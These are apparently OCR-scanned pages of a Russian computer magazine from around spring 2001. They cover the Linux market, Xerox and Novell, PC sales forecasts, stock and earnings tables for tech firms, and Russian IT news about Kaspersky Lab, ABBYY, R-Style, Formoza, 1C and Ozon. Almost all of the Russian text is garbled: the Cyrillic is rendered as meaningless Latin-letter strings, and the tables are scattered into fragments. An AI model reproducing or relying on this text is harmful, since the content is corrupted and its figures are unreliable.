HanpaB^eHMio k coeAMHeHMio b33mmho HecoBMec- 
TMMblX CMCTeM, M/ 1 M np0M30MAeT KOHCO /1 MA9I4M5I 
B HeCKO/lbKO OCHOBHbIX AMCTpM 6 yAMM. BTopa^i 
B03M0>KH0CTb Ka>KeTCfl BeCbMa Bep08TH0M, oco- 
6 eHH 0 noc/ie CeBIT stoto roAa, rAe 6 bi/io npeA- 
CTaB/ieHo HecKO/i bKO m HT epecH bix 14 m cjo p . 5Ibho ca- 
MbiM MHTepecHbiM cpaBHeHMeM 6 bmo to, 

HacKO/ibKO b OTHOCMTe/ibHbix AMcfipax npeACTaB^e- 
Hbi OTAe/ibHbie AHCTpM 6 yuMM Linux Ha pbiHKe 
b ue^OM. Pe3y^bTaTbi mo>kho yBMAeTb Ha npM/iara- 
ioiAeMC 8 AnarpaMMe. OneHb MHTepecHO no^o>KeHMe » 
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» He oneHb pacnpocTpaHeHHoii y Hac AHCTpn6yAMM 
Mandrake (oHa BKo6bi oneHb cM/ibHa bo OpaHAnn) m npo- 
Ba/i Corel, nbiTaBwencB npoTO/iKHyTb Linux Ha o6biHHbie Ha- 
CTO/i bH bie cncTeMbi. 

fbBopB 0 Linux, He/ib3B 3a6biTb eiAe OflHy nMKaHTHyio no- 
Apo6HOCTb: aBMauMOHHbiM rnraHT «BoMHr» b Mapie pa3flo6bi/i 
ce6e «cynepKOMnbK)Tep», ocHOBaHHbm Ha 96 npouecopax 
AMD m CMdeMe Linux. Eo/iee noflpo6Hyio cneAMcj/nKaAnio cm- 
creMbi MHe, yBbi, AOcraTb He yAa/iocb, ho mo>kho npeAno/ia- 
raTb, hto KOMnbtOTep 6yAeT MOAG/inpoBaTb sanaum M3 06/iac- 
TM KOHeHHbIX 3/ieMeHTOB. flCHO OAHO — Wl'ntel npM 3TOM 
3aopobo nona/io. 

M flpyme 

y Apymx cJd m p m, pa3yMeeTCB, Bparn MHbie. Xerox, HanpMMep, 
HaBepHBKa He /uo6mt ayqMTopoB, KOTopbie poiotcb b 6yMarax 
m MiAyT, hto TaM He cxoamtcb. M3-3a 3Toro Xerox npmu/iocb 
nepeABMHyTb AaTy roAOBoro cjDMHaHCOBoro OTHeia cjo 1/1 c Ka/i b- 
Horo roAa 2000. Bee warn, KOTopbie HeAaBHO npeAnpMHB/ia 
KOMnaHMB c ue/ibio ycnoKOMTb MHBecTopoB, noxa cxoabt Ha 
HeT, n areHTCTBO S&P ywe npnrpo3M/io Xerox, hto 3aHnc/iMT 
ero b KpeAMTHyio KaTeropnio «junk» (sto 3H3hmt, hto ueHHbie 
6yMam Xerox 6yAyT MMeTb u,eHy /iMWb HeMHorMM 6o/ibwyio, 
neM ueHa 6yMam, Ha kotopom ohm HanenaTaHbi). 

Novell He MOweT nowa/iOBaTbCB Ha 6biBiuero Mcno/iHM- 
Te/ibHoro AnpeKTopa Bpnxa IllMMATa — oh BbiBe/i KOMnaHMio 
M3 CaMOM TBWe/lOM CMTyaAMM M B MapTe OCT3BM/1 ee TOMy, 
kto ero CMeHM/i, b npMeM/ieMOM coctobhmm. OAHaKO npaBAa, 
hto KOHcy/ibTauMOHHaii cj/npMa Cambridge Technology, koto- 
pyio Novell b MapTe Kynn/i 3a $27 m/ih, npeACTaB/meT Apy- 
ryio 06/iacTb npeAnpnHMMaTe/ibCTBa, m ec/iM noATBepAflTCB 
npeAno/ioweHMB, hto Cambridge npeAcraB/iBeT, Tax CKa3aTb, 
no/iOBMHy o6opoTa Bee m Novell, mo>kho 6yAeT Novell mck/ik)- 
HMTb M3 Haiuero no/iB 3peHMB. 3a KPMG m/im PWC Mbi b koh- 
ue kohaob TO>Ke He c/ieAMM. 

He/iOBenecKHH <J>aKTop? 

HaiuM noMCKM maBHoro Bpara poAa He/iOBenecKoro HeyBeH- 
na/iMCb ycnexoM. y Hac ocra/iacb noc/ieAHBB B03M0>KH0CTb — 
caMO ne/iOBenecTBO. Bmamtc /im, KaweTCB, hto maBHbrn kow- 
Map KOMnbioTepHbix cfinpM — 3 to no/ib30BaTe/in, KOTopbie, ec- 
ji m kopotko. He noKynaiOT cro/ibKO, CKO/ibKO Tpe6yeTCB. 

AHa/iMTnnecKaB cj/npMa Dataquest b KOHqe MapTa ony6- 
/1 MKOBa/ia nporH03, cor/iacHO KOTopoMy npoAa>Ka PC b stom 
roAy CHOBa 3aMeA/mTCB. Merill Lynch Aa>Ke npeACKa3biBaeT 
CHM>KeHMe Ha 2,8%. HaBepHBKa penb He MAeT 0 K/iaccMHec- 
kom 3acToe, ho no MeHbweM Mepe b CILIA npoAa>Ka KOMnbio- 
TepOB B CpaBHeHMM C npOW/lblM TOAOM CHM3MTCB. yHMTbIBafl 
3HaneHMe aMepn KaHCKon skohommkm, mo>kho o>KMAaTb, hto 
3TO OTpa3MTCB Ha pa60Te 6o/lbWMHCTBa MMpOBbIX KOMnbio- 
TepHbix Cjo M p M . 

Hto 3to 03HanaeT? C tohkm 3peHMB no/ib30BaTe/iB no3M- 
tmb — qeHbi 6yAyT He noAHMMaTbCB, a CKopee onycKaTbCB. 

C ApyroM CTopoHbi, Bno/iHe BepoBTHO, hto ceKTopy npOM3BO- 
AMTe/ieM PC npMAeTC^ npoMTM nepe3 kohco/imabumio, KOTopaB 
y>Ke b npow/iOM y npon3BOAMTe/ieM amckct m rpacJ/MHecKMx 
KapT. Mhotmm KpynHbiM K/ineHTaM npnAeTCB MCKaTb HOBbix 
nocTaBiAMKOB. Me/iKMe no/ib30BaTe/in — paAyMTecb, 3aKyn- 
iamkm ot c|d m p m — n/ianbTe. H/i m Bee He Tax? 

BeAb b KOHqe-TO kohaob sto Bcero jinwb ananmma... 
u u u Kapeji CTaxoBeA | karel.stachovec@europe.com 
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riepBbiM KBapTa/i nepBoro roAa hoboto TbiCBHe/ieTMB y>Ke npowe/i. 3 to 6bi/io BpeMB, ko- 
Topoe bbho m bcho onpeAe/meT to, KaK npoMAeT Becb roA- Kopone roBopa, BpeMeHa 
TpeBO>KHbie, m He KaweTca, hto CMTyaqMB b 6^M>KaMiuee BpeMA y^yniuMTCB. fla>Ke caMbie 
onTMMMCTMHHbie aHa/iMTMKM, nepBOHana^bHO npeACKa3biBaBiuMe nepe^OM bo btopom m 
T peTbeM KBapTa^ax, nocTeneHHO OTOABnraiOT cbom nporH03bi 6 n\AW.e k KOHqy roAa. 

HaM6o^ee KpacoHHO 0 CMTyaqMM b qe^OM roBopMT tot cJd a kt, hto TexHO/iorMHec- 
kmm MHAexc Nasdaq, 3a KOTopbiM c/ieAMT Chip, b TeneHMe nepBoro KBapTa/ia noTe- 
p HJ] nOHTM TpeTb CBOeM BH BapCKOM Be/1 MH M H bl M yna/1 Ha CaMbIM HM3KMM ypOBeHb c 
oceHM 1998 roAa. K cnacTbio, cpeAHioio Be/iMHMHy HeMHoro y/iynuiM/iM HeaMepM KaH- 
CKMe cjo m p m bi. Tax hto o6iamm 6a/iaHC Bbir/iBAMT He Tax nena/ibHo: cpeAHee naAeHMe 
b AMcfipax KanMTa/ia cocTaBM/10 ziMiub hcmhothm 60/ibiue 5%. Ho TO/ibKO noTOMy, 
hto Mbi AGMOKpaTbi m AonycxaeM, hto NVIDIA 06/iaAaeT TeM we BecoM, hto m, k npn- 
Mepy, Microsoft. 

To, KaK BbimflAMT nepBaB TpoMKa ceroAHBUJHero peMTMHra, BOo6iAe oneHb MHTepec- 
ho. A6co/uoTHoe 60/ibiBMHCTBO xapABepoBbix c|dmpm wa/iyeTCB Ha SKOHOMnnecKyio CTar- 
HaqMio m n/ioxyio npoAawy n K, ho Ha caMOM Bepxy mmchho cjDMpMbi NVIDIA, Via Tech- 
nology m Western Digital, Hepa3pbiBHO CBB3aHHbie c mmpom l"IK. npaBAa, npM6bi/ib 
cJd m p m bi NVIDIA bo MHoroM onpeAe/iBeTCB ee ynacTMeM b peAMOHTCKOM npoeKTe Xbox 
(NVIDIA 6yAeT nocTaB/iBTb rpac|DMHecKMe HMnbi), ho, HecMOTpB Ha 3to, He/ib3B owMAaTb, 
HTO 3 KOHOMMHeCKOe nO/lOWeHMe 3 TMX npOM 3 BOAMTe/ieM AO/DKHO XOTb CKO/1 bKO-HM6yAb 
3 HaHMTe/lbHO OT/lMHaTb MX OT APyrMX nOCTaBlAMKOB KOMnOHeHTOB. Via B KOHqe KOHI4OB 
npeACKa 3 biBaeT CHMweHMe npoAaw (sto 3H3hmt, hto HeAaBHMe HaAewAbi Ha o>KMB/ie- 
HMe cnpoca 6bi/iM HanpacHbi), m cyAb6a MrpoBbix npMCTaBOK Xbox cjDMpMbi NVIDIA noxa 
eiAe HeBCHa. fleMCTBMTe/ibHbiM no6eAMTe/ieM mowho 6bi/io 6bi Ha 3 BaTb npoM 3 BOAMTe/iB 
wecTKMx amckob, nocKO/ibKy Maxtor b nepBOM KBapTa/ie y/iynuiM/i noKa 3 aTe/iM Ha TpeTb, 
a Seagate, KaK coBepmeHHo nacTHaB cJ/MpMa, AMcJopbi He ny6/iMKyeT. KaweTCB, hto koh- 


CeroAHBiuHBB Ta6/iMqa coAepwMT o63op c|dmpm, KOTopbie ny6/iMK0Ba/iM cbom 3koho- 
MMHecKMe pe3y/ibTaTbi b TeneHMe MapTa. ripeA/ioweHMe Ha 3 tot pa3 HecKO/ibKO 6eA- 
Hee; TpaAnuMOHHoe Mope UMcjap wagt Bac b c/ieAytoiAeM HOMepe. Ho m b TaKOM bot 
CK pOMHOM Ta6/lMHKe MOWHO H3MTM H3CT0BlAMe COKpOBMIAa. 

CaMoe r/iaBHoe, 6eccnopHo, — CTpoKa, coAepwaiAaB 3K0H0MMHecKMe pe3y/ib- 
TaTbi «xo/iAHHra dotcom» CMGI. Xotb ywe b npom/ibie MecBqbi Mbi momm Ha6/no- 
AaTb caMbie pa3Hbie Kpy ineH mb npeAnpMHMMaTe/ibCKMx HaMepeHMM b 06/iacTM Mh- 
TepHeTa, OAHaKO TaK KpyTO cyAb6a e^e hm c KeM He o6xoAH/iacb. y6biTKM, b 
BO ceMb pa3 npeBbimaioiAMe Be/i mh m H y o6opoTa, — TaKoe yBMAMUib He nacTO. 
npaBAa, xo/iAHHry npMiu/iocb BK/uoHMTb b cneT HeKOTopyio aMopTM3aqMio, TeM ca- 
mwm noKa3aB pocT o6opoTa, ho aMopTM3aqMB cocTaBM/ia Bcero ziMiub HecKO/ibKO 
coTeH mm/1/imohob, a ec/iM roBopMTb 06 o6opoTe, oh Tenepb bbho 6yAeT noHM- 
waTbCB, noMMMO nponero, m noTOMy, hto CMGI AO/DKHa npoAaBaTb. nocMOTpMM, 
npoBBMT/iM eiAe KT0-HM6yAb m HTepec k ziereHAapHOM AltaVista, KOTopaB Bee e^e 
ocTaeTCB KaK 6bi Ha 6o6ax. Xotb b stom c/iynae Mbi He MOweM roBopMTb 0 TyHe/i m- 
poBaHMM, ho nonpo6yMTe npeACTaBMTb ce6B Ha MecTe Tex aMepMKaHqeB, hto ABa 
roAa Ha3aA nocTaBM/iM Ha MHTepHeT-cjDMpMbi. . . Akamm KOMnaHMM CMGI 3a oamh 
roA noTepB/iM 95% CBoeM ctommoctm. 

KoMnaHMM 3Com m Palm CHOBa MAyT b Hory; yBbi, b xyAiueM CMbic/ie c/iOBa (cm. 
KOMMeHTapMM K P33BMTMIO LjeH aKAMM). npM 3T0M HM B KOeM C/iyHae B3T/1BA B 6/1 M- 
waMiiiee 6yAyiAee He cy/iMT oco6o paAy>KHbix nepcneKTMB m, KaK m b Apyrnx c/iyna- 
BX, MOWHO O/KMAaTb yBO/lbHeHMM. 

Tenepb nonpo6yeM nepeBepHyTb CTpaHM Ay m nocMOTpeTb, HanpoTM b, Ha cjDMpMbi, 
KOTopbie MAyT BBepx. flMCTpM6yAM0HHaB KOMnaHMB TechData noKa3a/ia yAMBMTe/ibHO 
xopoiiJMe pe3y/ibTaTbi, m sto MoweT 03HanaTb, hto K/iaccMHecKMe KaHa/ibi npoAaw pe- 
uiMTe/ibHO coxpaHB kdtcb ceMHac m b 6yAyiAeM (nycTb Aawe, HanpMMep, KOHKypeHTHaB 
Ingram Micro npoAO/iwaeT coo6iAaTb o HeKOTopbix npo6/ieMax). KoMnaHMB Red Hat 
Taxwe cyMe/ia yAMBMTb, eABa He noKa3aB npM6bi/ib, — aHa/iMTMKM owMAa/iM stoto 


CO/lMflaflMfl pbIHKa B 06/iaCTM >KeCTKMX 
flMCKOB noflow/ia k koh fly. 

Hm^haa no/iOBMHa Ta6/iMflbi nofl- 
TBep>KflaeT noroBopKy, hto c 6o/ibweM 
BbicoTbi 6o/ibHee naflaTb. KoMnaHMM 
PaLm xBaTM/io KpaTKOBpeMeHHoro npor- 
H03a, conpoBOKflaioiMero omaweHHbie 
aKOHOMMHecKMe pe3y/ibTaTbi, m fleHbi aK- 
flMM yna/in Ha 50%. Eifle y Hac ocraiOTCfl 
cocjDTBepHbie cJd m p m bi BEA Systems m 
M acromedia, KOTopbie b flaHHOM c/iynae 
mnbKO npeflCTaB/ifliOT o6iflyio cmyaumo 
b cbomx ceKTopax. Hefla/ieKO ot hmx b 
mtotobom Ta6/iMfle ctoat flpyrMe npefl- 
ciaBMTe/iM ceKTopa cocfiTBepa (Oracle, 
Adobe m flp.). KocHy/iocb sto m nocraB- 
LflMKOB KOMMyHM K3flM0HHblX TeXHO/lOTM M: 
HanpMMep, KOMnaHMM Cisco, Nokia m 
E ricsson ot noc/ieflHeM tpomkm OTfle/m- 
K)T /l M HI b HeCKO/lbKO npOUeHTOB. 

KaxoB >ne BbiBOfl? XapflBepHbie a«L 
Hana/iM naflaTb nepBbiMM, Tenepb 3a hmmm 
noc/ieflOBa/iM ocra/ibHbie. IIocmotpmm, kto 
nepBbiM yBMflMT TaK HanpflweHHO o>KMfla- 
eMoe m nporH03MpyeMoe oceHHee (mjim 
3MMHee) noBbiiueHMe. 
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KoMnaHMfl 


UeHa aKULMM 


kl3MeHeHHfl 


02.01.01 


04.04.01 

A6co/iK>THbie 

OTHOCMTe/lbHbie 

NVIDIA 

29,9375 


57,625 

27,6875 

92,48% 

Via 

192 


324 

132 

68,75% 

WD 

2,3125 


3,85 

1,5375 

66,49% 

BEA 

53,125 


20,6875 

-32,4375 

-61,06% 

Macromedia 

54,0156 


13,6875 

-40,3281 

-74,66% 

Palm 

23,75 


5,96875 

-17,78125 

-74,87% 


/imub b KOHfle rofla. Hy, hto He no/iyHM- 
ziocb cennac, HaBepHoe, no/iyHMTCfl no3- 
>xe. npn6bi/i m He OKMfla/iocb m y Corel, b 
flaHHOM c/iynae sto, Hao6opoT, 6bi/io no- 
TOMy, hto KOMnaHMA, TaK CKa3aTb, peiuM- 
Te/ibHO He Bbi6pa/ia nyTb Linux. (l"loTeH- 
fll/ia/lbHOe B/l Mfl HMe MHBeCTMflMM CO 
CTOpOHbl Microsoft 0CT3BMM B CTOpOHe.) 
klHTepecHbi TaK>Ke pe3y^bTaTbi 
Cabletron, HanpMMep, xota 6bi noTOMy, 
HTO OHM CTOflT COBCeM B KOHfle, nO- 
CKO/ibKy c 3Toro cfiMCKa^bHoro rofla ot- 
Ae/ibHbie OTnoHKOBaHMji BeflyT cbom mh- 
BeCTMflMM CaMOCTOflTe/lbHO. 

HeKOTopyio ao/iio onTMMM3Ma flonyc- 
KaiOT T3K>Ke BbICK33blBaHMfl npeflcraBM- 
Te/ieM cJd m p m bi ATI. XoTb OHa m npMTMx- 
/ia, ho b 3tom rofly o>KMflaeTCfl 
nacTMHHoe o>KMB/ieHMe. TaK >Ke, KaK b 
c/iynae npoM3BOflMTe/ieM xkcctkmx amc- 
KOB, KOMnaHMM Ha pbIHKe rpac|DMHeCKMX 
HMnoB b onpefle/ieHHOM CTeneHM kohco- 
ZlMflMpOBa/lMCb, TaK HTO ATI MO>KeT TOBO- 
pMTb, hto caMoe n/ioxoe y>Ke no3aflM; 
oco6eHHo Korfla ceroflHA OHa ocraeTCfl 
noc/ieflHMM cepbe3HbiM KOHKypeHTOM 
c|d m p m bi NVIDIA. Xy>Ke m b caMOM fle/ie 
y>Ke He 6yfleT. 




nepnofl 

06opOT 

$, M/1H. 

M3M. B epaBH. 
c npow/ibiM 
roflOM 

HMCTafl 

npn6bmb 

$, M/IH. 

M3M. B CpaBH. 
c npouj/ibiM 
roflOM 

3Com 

Q3/01 

629 

-45% 

-246 

- 

Adobe 

Ql/01 

329 

+17% 

70 

+8% 

ATI 

Q2/01 

232 

-39% 

-66 

- 

Cabletron 

Q4/01 

291 

+43% 

10,7 

- 

CMGI 

Q2/01 

343 

+123% 

-2560 

+1276% 

Corel 

Ql/01 

32.5 

-26% 

0,5 

- 

Micron 

Q2/01 

1070 

-8% 

-4,1 

- 

Oracle 

Q3/01 

2670 

+9% 

583 

-24% 

Palm 

Q3/01 

471 

+73% 

9,3 

-41% 

Progress 

Ql/01 

60.2 

-16% 

2,0 

-78% 

Red Hat 

Q4/01 

27.0 

+106% 

-0,6 

-89% 

TechData 

Q4/01 

5320 

+11% 

-52,7 

+42% 
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3a npoiueAiuMM Meam 6e3yc/i0BH0 Han6o/iee 3HaHMMbiM co6buneM a/ia poccuMCKoro IT-pbiHKa 6bma 
BbiciaBKa KoMTeK, KOTopaji npeflCTa/ia nepeA noceTme/iflMM b HecKO/ibKO HenpuBbiHHOM bmas, TeM 
60/iee c HOBbiMM xo3fleBaMH. Ho KoMTeK-2001 — TeMa OTAe/ibHoro o63opa p,nn Hawnx HmaTe/ieM, 
BOcnoMMHaHuPi A-nfi noceime^eM m noBOA A-nfl noABeAem-ifl moroB ASflTe/ibHOCTM KOMnaHMM. rioMMMO 
KoMTexa ecib APyrne, nycrb MeHee 3aMeTHbie, co6biTMA, M3 KOTopbix, b o6iAeM-TO, m cx/iaAbiBaeicfl mc- 
TMHHafl, 6e3 npMKpaC, CBOMCTBeHHbIX 60/lblUMM Bbl CTaBKaM, KapTMHa pOCCMMCKOro xaM-Texa. 


H vnan stot MaiepMa/i BC/ieA 3a TpaflMUMOHHbiM 
063OPOM C06blTMM Ha MMpOBbIX cjDMHaHCOBblX 
pbiHKax IT, Ham HmaTe/ib MO>KeT 3aAyMaTbCfl 0 Mec- 
Te POCCMM B MMpOBOM KpyrOBOpOTe KOMnblOTepHbIX 
M KOMMyHMKaUMOHHbIX TeXHO/lOrMM. 

fleMCTBMTe/i bHO, kto, no cyTM, npeACTaB/meT 
UBeT poccMMCKoro IT-pbiHKa? fla, 3to 60/ibWMe m 
yBa>KaeMbie KOMnaHMM — ho, yBbi, mnbKO no poc- 
cmmckmm MepxaM. A ecib jim KTO-Hn6yflb, cnoco6- 
HblM AOCTOMHO npeflCTaBMTb Haiu Te/ieKOMMyHMKa- 
AMOHHbiM 6M3Hec Ha 3anaflHbix npodopax? K co- 
>na/ieHMio, HMHero, KpoMe ABBYY m «/la6opaiopMM 
KacnepcKoro» (ocjDLUopHoe nporpaMMMpoBaHMe He 
b cnei). He bmaho. 

Ho He 6yAeM yHbiBaTb m nocMOTpMM, hto npo- 
M30u1.no 3a npoiueALUMM Mec^A Ha HaweM pa3BM- 
BatoiAeMC^ m nepcneKTMBHOM, xoie/iocb 6bi HaAe- 
fljbcn, pbiHKe. OcHOBHbie MrpoKM Ha 3tom no/ie — 


1C, ABBYY, R-Style, «/la6opaiopi/ifl Kacnepci<oro» 

m cipeMfliAMecn CTaTb npM6bi/ibHbiMM AOMopoiAeH- 
Hbie m HT epHeT-KOMnaHM m; a cyAbfl — JleoHMA 
PeMMaH, Bee cmji bi HanpaBMBWMM Ha nonbiTKy co- 
3AaTb n0/10>KMTe/lbHblM MMMA>K 53 B/ie H M53 nOA Ha- 
3BaHneM «noBpeMeHKa». 

HanHeM c ceMeMHoro 6M3Heca — c BeAyiAero He 
TO/lbKO B POCCMM, HO M B MMpe, pa3pa60THMKa aHTM- 
BMpycHoro no «/la6opaiopMM KacnepcKoro». nycrb 
Bac He yAMB/i^ei: reHepa/ibHbiM AHpeKTopoM stom 
KOMnaHMM AB/meTca He Eavenm KacnepcKMM, npM- 
3H3HHbiM rypy b CBoeM Ae/ie, a ero >KeHa, Haia/ibn 
KacnepcKan — ee ycM/iMA b HbmeiuHMx ycnexax 
«Jla6opaiopMM» cbirpa/iM HeMa/iyio po/ib. 

Tax bot, y /ia6opaiopMM ecib use hoboctm, ko- 
Topbie AOCTOMHbi ocBeiAeHM^ Ha stmx crpaHMAax. 
Bo-nepBbix, npMHflTa HOBan MapKeTMHroBaa crpa- 
TerMn, comacHO kotopom Bee BbinycxaeMbie npo- 


AyKTbi 6yAyT neTKO opMeHTMpoBaHbi Ha onpeAe- 
jieHHyio ue/ieByio rpynny. B cooTBeTCTBM m c ho- 
BOM npOAyKTOBOM /IMHeMKOM Bee npoAyKTbi «/la- 
6opaiopMM» Tenepb Ae/mra Ha TpM ocHOBHbie Ka- 
TeropMM: p,nn MHAMBMAya/ibHbix nojib30Baie/ieM 
(Lite), p,nn opraHM3auM m Ma/ibix m cpeAHMx Mac- 
iUTa6oB (Business Optimal) m a nn KpynHbix Kop- 
nopaTMBHbix 3aK33HMKOB (Corporate Suite). 

Bo-BTOpbIX, pa3pa60THMKM npM H^/l MCb 3a HO- 
BblM pbIHOK — nepCOHa/lbHblX AMCjDpOBblX nOMOlA" 
hmkob, KOTopbie, OKa3biBaeTCfl, TaK>Ke noABep>Ke- 
Hbi BMpycaM. J. \nn Hana/ia 6bmo o6'b^B^eHO 0 Bbi- 
nycxe no/i HocjDyHKAMOHa/ibHOM KOMMepnecKOM 
BepcMM 3 htm BM pycHoro naKeia a nn CMdeMbi Palm 
OS. B cjjyHKAMM BK/iiOHeHa He TO/ibKO npoBepKa 
AaHHbix no Tpe6oBaHMio nojib30Baie/ifl, ho m mo- 
hmtopm h r BMpycoB npM nepeAane AaHHbix no Tex- 
ho^otm^m HotSync m Beam. 3tot 3htm BM pyc Ha » 
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» peflKOCTb HenpMBepefl^MB m Tpe6yeT Bcero 25 
K6aMT naM^TM. 

A noKa MapKemnorM «/la6opaiopnM» M3o6pe- 
TatOT cnoco6bi p,nn oxBaia Bcero pbiHKa noTeHLjM- 
a/ibHbix noTpe6MTe/ieM, R-StyLe Software Lab m 
ABBYY Software House MflyT cbomm nyieM. IIomm- 
mo HeKOToporo cxofldBa b Ha3BaHMiix, Tenepb stm 
KOM naHMM obteflUH^eT eiAe m coBMecTHO Bbiny- 
meH h bi m nporpaMMHbiki npoflyKT. 

CipaierMHecKoe coipyflHMHecTBO Me>Kfly KOMna- 
Hi/iflMM 6bmo aHOHcnpoBaHO eiMe b npow/iOM rofly, m 
cennac, HaKOHeu, Kopnopan/iBHbie no/ib30BaTe/iM 
nO/iyHM/lM B03M0>KH0CTb BKyCMTb n/lOflbl 3TOrO co- 
TpyflHMHecTBa. Co6cTBeHHo, caM npoflyKT — MOflep- 
HM3MpOBaHHafl BepCMfl R-Style'OBCKOM CMCTeMbl RS- 
Bank, b AMCTpu6yTMB kotopom BK/uoHeHbi Aono/iHM- 
Te/ibHbie MaKponporpaMMbi, Bbi3biBaioiAMe Mmep- 
cJaeMC FineReader BaHK. 3 tot MHTepcjDeMc, pa3pa6o- 
TaHHblM B ABBYY Ha OCHOBe M3BeCTHblX BCeM B03- 
MO>KHOCTeM nporpaMMbi FineReader, no3BO/iueT CKa- 
HMpoBaTb m pacno3HaBaTb n/iaTe>KHbie nopyneHMu 
HenocpeACTBeHHO M3 CMcreMbi RS-Bank. 

CBepx nepeHMC/ieHHoro HOBau, nHTerpi/ipoBaH- 
Hau c FineReader BaHK, BepcMu pacno/iaraeT pac- 
LUMpeHHblM KpyrOM /lOTMHeCKMX M /IMHrBMCTMHeCKMX 
npoBepoK, KOTopbie aKTMBMpyiOTCfl npn npoueAype 
pacno3HaBaHMu. TaK, Tenepb b ee bo3mo>khoctm 
bxoamt npoBepKa KoppeKTHOCTM HOMepoB cneTOB m 
mx Ha/iMHMA b 6a3e AanHbix, npoBepKa HaMMeHOBa- 
hmm n/iaTe/ibiAMKa m no/iyHaie/ifl m Apyrnx napaMeT- 
poB, KOTopbie npoBepuiOTai nepe3 caMy cncieMy 
RS-Bank. 

flBe c^eAyioiAMe hoboctm CKopee M3 pa3puAa 
cyAe6HO-yro^OBHbix, ho k HaweM TeMaTMKe MMeiOT 
HenocpeACTBeHHoe OTHomeHMe. BHana/ie cfiaKT He 
CTO/lbKO Kypbe3HblM, CKOJlbKO, KaK 0Ka3a/10Cb, y>Ke 
Bno/iHe o6biAeHHbiPi. 

17 anpe/iu 6bi/ia napa/iM30BaHa AeflTe/ibHOCTb 
ueHTpa^bHoro ocfiMca KOMnaHMM «OopM03a», ko- 
TopbiM saHKJUA coTpyAHMKM YnpaB/ieHMu no 6opb- 
6e c 3KOHOMMHecKOM npecTy n HOCTbio, nonpocMB- 
ujMe nepcoHa/i OopM03bi noKMHyTb 3AaHMe. KoMy- 
TO 3TM C06blTMfl MOTyT HanOMHMTb HeAaBHHDK) wy- 
MMxy BOKpyr «MeAMa-MocTa», ho KaK noucHM/iM 
npeACTaBMTe/iM KOMnaHMM, mhamacht c «OopMO- 
30 m» hocm/1 mhom xapaKTep: sto 6bma o6biKHo- 
BeHHau npoBepKa (b cpeAHeM mx 6biBaeT ao Tpex 
B rOA), M «Bbl npOBO>KAGHMe» COTpyAHMKOB — BCe- 
ro /l m lli b HopMa/ibHbm aipM6yT cypoBbix 6yAHeM 
poccMMCKoro xaM-TeKa. 

flpyroM c/iynaM, nowa/iyM, MO>KeT craTb 3H3 hm- 
mwm npeueAeHTOM b poccmmckom cyAe6H0M npaK- 
TMKe. fle/io b tom, hto cfieAepajibHbiM ap6MTpa>KHbiM 
cyA noATBepAM/i npaBOMepHOCTb peweHMu, Bbme- 
ceHHoro mockobckmm ap6MTpa>KHbiM cyAOM no Ae/iy 
npoTMB ryn «l/lHc|)opM3aLAMTa», a peiueHMe ripaBM- 
Te^bCTBa MocKBbi, no KOTopoMy 6bmo opraHM30Ba- 
ho MapKMpoBaHMe npoAyKAMM Ha KOMnbiOTepHbix 
HOCMTe/iux, npM3Ha/i He3aK0HHbiM. 

TeM He MeHee 3a 3 to BpeMu npeAnpMHMMaTe/iM 
M3 ryn «IZlHc|)opM3aLAMTa»ycnejiM 3apa6oTaTb HeMa- 


T1 bie AeHbTM Ha npOM3BOAMTe/lflX KOMnaKT-AMCKOB, M 
Tenepb mm npeACTOMT Bbino/iHMTb peiueHMe cyAa o 
B03BpaiAeHMM 000 «MI40» cpeACTB, 3an/ianeHHbix 
3a MAeHTMCjDMKaAMOHHbie MapKM. 

Tenepb b cyAbi MoryT o6paiAaTbcu m Apyrne 
npoM3BOAMTeuM, nocTpaAaBiuMe ot He3aKOHHbix 
c6opOB, KOTopbie, KCT3TM, n/iaHMpoBa/iMCb KaK 
HaCTb «3HTMnMpaTCK0M» K3Mn3HMM MOCKOBCKOTO 
npaBMTeubCTBa. 

riepexoAfl k hoboctum poccmmckmx MHTepHeT- 
KOMnaHMM, BepHeMeu k KoMTeKy- 2001 . KoMnaHMu 
1C OTMeTM/iacb Ha stom BbicTaBKe He mnbKO npe- 
3 eHTai 4 MeM CBoero hoboto npoAyKTa — KOHCTpyK- 
Topa MHTepHeT-Mara 3 MHOB MoneyMethod 3000 , ko- 
TopbiM coBMecTMM c «1C: ripeAnpMUTMe 7 . 7 » (hto 
Ae/iaeTero noHTM He 3 aMeHMMbiM auu opraHM 3 auMM, 
«noAceBiuMx» Ha npoAyKTbi stoto pa 3 pa 6 oTHMKa), 

HO M OTKpbITbIM nMCbMOM, Bbl3BaBLUMM LUyMMXy BO- 
Kpyr BbICTaBKM. riOBOAOM K 3TMM pa3TOBOpaM, KaK 
hm crpaHHO, CTau iuyM. fla, mmchho ypoBeHb myMa 
bo BTopoM naBM/ibOHe 3KcnoueHTpa He ycTponu 
npeACTaBMTeueM 1C, o neM ohm He npeMMHy/iM co- 
o6lAMTb He TOUbKO OpraHM3aTOpaM BbICTaBKM, HO M 
BCeM KOMnblOTepHOM 06 lAeCTBeHH 0 CTM. 

HeMauo nomyMeu b CBoe BpeMu m MHTepHeT- 
Mara3MH «o 3 oh», BbipBaBiuMPicu b uMAepbi Ha poc- 
cmmckom pbiHKe. He MeHbiue myMa b npocjDeccMO- 
HaubHbix Kpyrax 6bi/io m npM nepee3Ae ueHTpaub- 
Horo oc|DMca M3 CaHKT-lleTep6ypra b MocKBy, BMe- 
CTe c KOTopbiM yBO/iM/iM peAaKUMio Mara3MHa, ro- 
TOBM BLUyHD CTO/lb UK)6MMbie nOCeTMTe/lUMM o630pbl 
m peueH3MM. Ilocue stoto MHorMe roBopMUM o 
«Hanajie KOHAa», o tom, hto o6opoTbi Mara3MHa 
pe3KO ynaAyT, m npoHMX HanacTux. TaK um sto, no- 
Ka>KeT BpeMu, a noKa y pyKOBOACTBa Mara3MHa 
noHTM Hano/ieoHOBCKMe nuaHbi. HeAaBHO Ha 
«o3oHe» 6bi/i OTKpbiT HOBbiM pa3Aeu no npoAa>Ke 
CD-amckob c nporpaMMHbiM o6ecneneHMeM, TOBa- 
poM BnouHe «MHTepHeTonpoAaBaeMbiM». Cnpoc 
ecTb: «3a TpM HeAeuM 6bmo npoAaHO 6ouee 700 

AMCKOB, TO eCTb KaK MMHMMyM no 50 AHCKOB b 
AeHb», — paccKa 3 biBaeT MeHeA>Kep OTAeua 
«Co c|dt» l/lropb 3 eubMaHOB. 

TaK>Ke npeACTaBMTeuM «o 3 oHa» o 6 eiAaiOT, hto 
6yAyT npoAaBaTb MCKuiOHMTeubHO uMAeH3MOHHbie 
KonMM nporpaMM, hto paAyeT; maBHoe, HTo 6 bi ueHbi 
He «KycauMCb». 

B OT/lMHMe OT «030Ha», pyKOBOACTBO KOToporo 
